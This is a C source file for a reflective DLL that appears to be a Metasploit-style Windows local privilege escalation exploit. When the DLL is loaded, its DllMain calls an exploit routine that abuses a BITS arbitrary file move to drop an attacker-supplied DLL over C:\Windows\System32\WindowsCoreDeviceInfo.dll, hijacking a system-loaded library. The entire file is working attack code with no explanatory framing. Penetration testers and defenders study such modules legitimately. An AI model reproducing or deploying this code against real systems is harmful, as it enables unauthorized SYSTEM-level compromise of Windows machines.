#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
#include "CBitsCom.h"
#include "..\BitsArbitraryFileMove\BitsArbitraryFileMove.h"

PVOID m_pOldValue = nullptr;
#define TEMPO 2000

BOOL EnableWow64FSRedirector()
{
	HANDLE hProcess;
	BOOL bWow64Process;

	hProcess = GetCurrentProcess();

	if (!IsWow64Process(hProcess, &bWow64Process))
	{
		wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
		CloseHandle(hProcess);
		return FALSE;
	}

	if (bWow64Process)
	{
		if (!Wow64RevertWow64FsRedirection(m_pOldValue))
		{
			wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
			CloseHandle(hProcess);
			return FALSE;
		}
	}

	CloseHandle(hProcess);

	return TRUE;
}

BOOL DisableWow64FSRedirector()
{
	HANDLE hProcess;
	BOOL bWow64Process;

	hProcess = GetCurrentProcess();

	if (!IsWow64Process(hProcess, &bWow64Process))
	{
		wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
		CloseHandle(hProcess);
		return FALSE;
	}

	if (bWow64Process)
	{
		if (!Wow64DisableWow64FsRedirection(&m_pOldValue))
		{
			wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
			CloseHandle(hProcess);
			return FALSE;
		}
	}

	CloseHandle(hProcess);

	return TRUE;
}

LPWSTR AllocMultiByteToWideChar(HANDLE hHeap, LPCSTR pszInput, PDWORD pSize) {
	DWORD dwTmpInputSize;
	LPWSTR pTmpInput;
	dwTmpInputSize = MultiByteToWideChar(CP_UTF8, 0, pszInput, -1, NULL, 0);
	dwTmpInputSize = (dwTmpInputSize * sizeof(WCHAR));
	pTmpInput = (LPWSTR)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwTmpInputSize);
	if (!pTmpInput) {
		return 0;
	}
	MultiByteToWideChar(CP_UTF8, 0, pszInput, -1, pTmpInput, (dwTmpInputSize / sizeof(WCHAR)));
	if (pSize) {
		*pSize = dwTmpInputSize;
	}
	return pTmpInput;
}

DWORD exploit(char * metasploitDLLPath) {
	BitsArbitraryFileMove bitsArbitraryFileMove;

	const WCHAR* targetDLLPath = L"C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll";

	HANDLE hProcessHeap = GetProcessHeap();
	DWORD pathSize = sizeof(metasploitDLLPath);
	LPWSTR unicodeMetasploitDLLPath = AllocMultiByteToWideChar(hProcessHeap, metasploitDLLPath, &pathSize);

	if (!bitsArbitraryFileMove.Run(unicodeMetasploitDLLPath, targetDLLPath))
	{
		return 1;
	}

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
		{
			*(HMODULE*)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		exploit((char *)lpReserved);
		ExitProcess(0);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}

